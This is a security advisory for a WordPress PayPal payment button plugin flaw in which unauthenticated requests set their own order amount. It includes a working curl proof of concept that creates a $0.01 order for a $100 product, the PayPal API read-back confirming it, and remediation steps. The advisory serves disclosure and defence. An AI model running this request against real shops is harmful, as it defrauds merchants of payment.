Payment Button for PayPal < 1.2.3.45 – Unauthenticated Payment Price Manipulation | CVE 2026-16990

Description

The plugin does not enforce the merchant-configured price server-side and trusts a client-supplied payment amount, allowing unauthenticated attackers to create a real PayPal order against the merchant for an arbitrary lower amount.

Proof of Concept

The create-order AJAX endpoint is registered for unauthenticated requests
(wp_ajax_nopriv_wppaypalcheckout_pp_api_create_order) with no nonce or capability
check, and forwards the client-supplied amount to PayPal's create-order API without
re-deriving or validating it against the merchant's server-configured button price.
The configured price is only emitted as a client-side hidden input with a browser-only
floor, which is bypassed by posting directly to admin-ajax.php.

Reproduction note: the create-order endpoint calls PayPal's live REST API, so the plugin
must be configured with PayPal (sandbox) REST app credentials (Client ID + Secret) under
the plugin settings. PayPal's own order read-back is the authoritative proof primitive.

1. As the site admin, publish a page with a fixed-price button:
   [wp_paypal_checkout amount="100" description="Test Product 100 USD"]

2. As an unauthenticated attacker (no cookies, no nonce), send a create-order request
   with an arbitrary amount far below the configured $100:

   curl -s 'https://victim.example/wp-admin/admin-ajax.php' \
     --data-urlencode 'action=wppaypalcheckout_pp_api_create_order' \
     --data-urlencode 'data={"purchase_units":[{"description":"Test Product 100 USD","amount":{"value":"0.01"}}]}'

   Response:
   {"success":true,"order_id":"<PAYPAL_ORDER_ID>","additional_data":[]}

3. Confirm against PayPal that the order now on the merchant's account is for the
   tampered amount, not the configured $100:

   GET https://api-m.sandbox.paypal.com/v2/checkout/orders/<PAYPAL_ORDER_ID>
   -> status: PAYER_ACTION_REQUIRED
   -> purchase_units[0].amount.value = 0.01
   -> currency_code = USD
   -> description = "Test Product 100 USD"

4. Control: repeating step 2 with "value":"100" creates a $100.00 order, confirming the
   server forwards whatever amount the client sends.

5. The attacker approves and pays the $0.01 via PayPal's standard buyer flow. The capture
   handler records mc_gross from the re-fetched (tampered) amount with no expected-vs-actual
   price check, so the merchant's order is marked paid at the attacker-chosen amount.

Remediation: bind each button to a server-side record of its configured price and
recompute/verify the order amount server-side before calling PayPal; reject any request
whose amount does not match. Verify the captured amount against the expected price in the
capture handler, and add a nonce/capability check to both endpoints.